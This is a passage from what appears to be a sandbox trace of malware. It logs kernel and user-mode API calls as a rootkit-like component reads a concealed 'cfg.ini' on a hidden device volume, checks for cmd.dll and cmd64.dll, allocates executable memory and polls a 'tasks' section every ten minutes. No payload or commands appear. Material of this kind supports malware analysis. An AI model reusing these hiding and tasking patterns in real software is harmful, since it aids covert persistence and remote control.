KeWaitForMutexObject () returned 0x0 [0123.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.233] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.233] IdePortDispatch () returned 0x103 [0123.233] KeWaitForMutexObject () returned 0x0 [0123.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.233] KeLeaveCriticalRegion () [0123.233] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.234] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.234] KeEnterCriticalRegion () [0123.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] KeLeaveCriticalRegion () [0123.234] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.234] KeEnterCriticalRegion () [0123.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.234] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] KeLeaveCriticalRegion () [0123.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.234] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.234] KeEnterCriticalRegion () [0123.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] ExFreePoolWithTag (P=0xfffffa8003be2e50, Tag=0x0) [0123.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.234] KeLeaveCriticalRegion () [0123.234] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.234] ReleaseMutex (hMutex=0xf0) returned 1 [0123.234] Sleep (dwMilliseconds=0x927c0) [0123.248] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.248] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.248] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.248] KeEnterCriticalRegion () [0123.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.248] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.248] IdePortDispatch () returned 0x103 [0123.248] KeWaitForMutexObject () returned 0x0 [0123.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.249] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.249] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.249] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.249] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.249] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea7b0 [0123.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.249] KeLeaveCriticalRegion () [0123.249] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.249] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.249] KeEnterCriticalRegion () [0123.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.250] KeLeaveCriticalRegion () [0123.250] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.250] KeEnterCriticalRegion () [0123.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.250] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.250] IdePortDispatch () returned 0x103 [0123.250] KeWaitForMutexObject () returned 0x0 [0123.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.250] KeLeaveCriticalRegion () [0123.250] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.250] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.250] KeEnterCriticalRegion () [0123.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dfb000 [0123.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.250] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.250] IdePortDispatch () returned 0x103 [0123.250] KeWaitForMutexObject () returned 0x0 [0123.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.250] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.251] IdePortDispatch () returned 0x103 [0123.251] KeWaitForMutexObject () returned 0x0 [0123.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.251] KeLeaveCriticalRegion () [0123.251] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.251] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.251] KeEnterCriticalRegion () [0123.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.251] KeLeaveCriticalRegion () [0123.251] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.251] KeEnterCriticalRegion () [0123.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.251] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.251] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.251] KeLeaveCriticalRegion () [0123.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.252] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.252] KeEnterCriticalRegion () [0123.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.252] ExFreePoolWithTag (P=0xfffffa8003bea7b0, Tag=0x0) [0123.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.252] KeLeaveCriticalRegion () [0123.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.252] ReleaseMutex (hMutex=0xf0) returned 1 [0123.252] Sleep (dwMilliseconds=0x927c0) [0123.266] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.266] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.266] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.266] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.266] KeEnterCriticalRegion () [0123.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.266] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.266] IdePortDispatch () returned 0x103 [0123.266] KeWaitForMutexObject () returned 0x0 [0123.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.266] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.266] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.266] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.266] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.266] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be77f0 [0123.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] KeLeaveCriticalRegion () [0123.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.267] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.267] KeEnterCriticalRegion () [0123.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] KeLeaveCriticalRegion () [0123.267] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.267] KeEnterCriticalRegion () [0123.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.267] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.267] IdePortDispatch () returned 0x103 [0123.267] KeWaitForMutexObject () returned 0x0 [0123.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] KeLeaveCriticalRegion () [0123.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.267] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.267] KeEnterCriticalRegion () [0123.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003400000 [0123.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.272] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.272] IdePortDispatch () returned 0x103 [0123.272] KeWaitForMutexObject () returned 0x0 [0123.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.272] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.272] IdePortDispatch () returned 0x103 [0123.272] KeWaitForMutexObject () returned 0x0 [0123.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.272] KeLeaveCriticalRegion () [0123.272] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.273] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.273] KeEnterCriticalRegion () [0123.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] KeLeaveCriticalRegion () [0123.273] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.273] KeEnterCriticalRegion () [0123.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.273] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] KeLeaveCriticalRegion () [0123.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.273] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.273] KeEnterCriticalRegion () [0123.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] ExFreePoolWithTag (P=0xfffffa8003be77f0, Tag=0x0) [0123.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.273] KeLeaveCriticalRegion () [0123.273] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.273] ReleaseMutex (hMutex=0xf0) returned 1 [0123.273] Sleep (dwMilliseconds=0x927c0) [0123.287] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.287] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.287] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.287] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.287] KeEnterCriticalRegion () [0123.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.290] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.290] IdePortDispatch () returned 0x103 [0123.290] KeWaitForMutexObject () returned 0x0 [0123.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.290] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.290] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea290 [0123.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.290] KeLeaveCriticalRegion () [0123.290] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.291] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.291] KeEnterCriticalRegion () [0123.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.291] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.291] KeLeaveCriticalRegion () [0123.291] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.291] KeEnterCriticalRegion () [0123.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.291] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.291] IdePortDispatch () returned 0x103 [0123.291] KeWaitForMutexObject () returned 0x0 [0123.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.291] KeLeaveCriticalRegion () [0123.291] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.291] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.291] KeEnterCriticalRegion () [0123.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003480000 [0123.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.291] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.291] IdePortDispatch () returned 0x103 [0123.291] KeWaitForMutexObject () returned 0x0 [0123.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.292] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.292] IdePortDispatch () returned 0x103 [0123.292] KeWaitForMutexObject () returned 0x0 [0123.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.292] KeLeaveCriticalRegion () [0123.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.292] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.292] KeEnterCriticalRegion () [0123.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] KeLeaveCriticalRegion () [0123.293] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.293] KeEnterCriticalRegion () [0123.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.293] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] KeLeaveCriticalRegion () [0123.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.293] 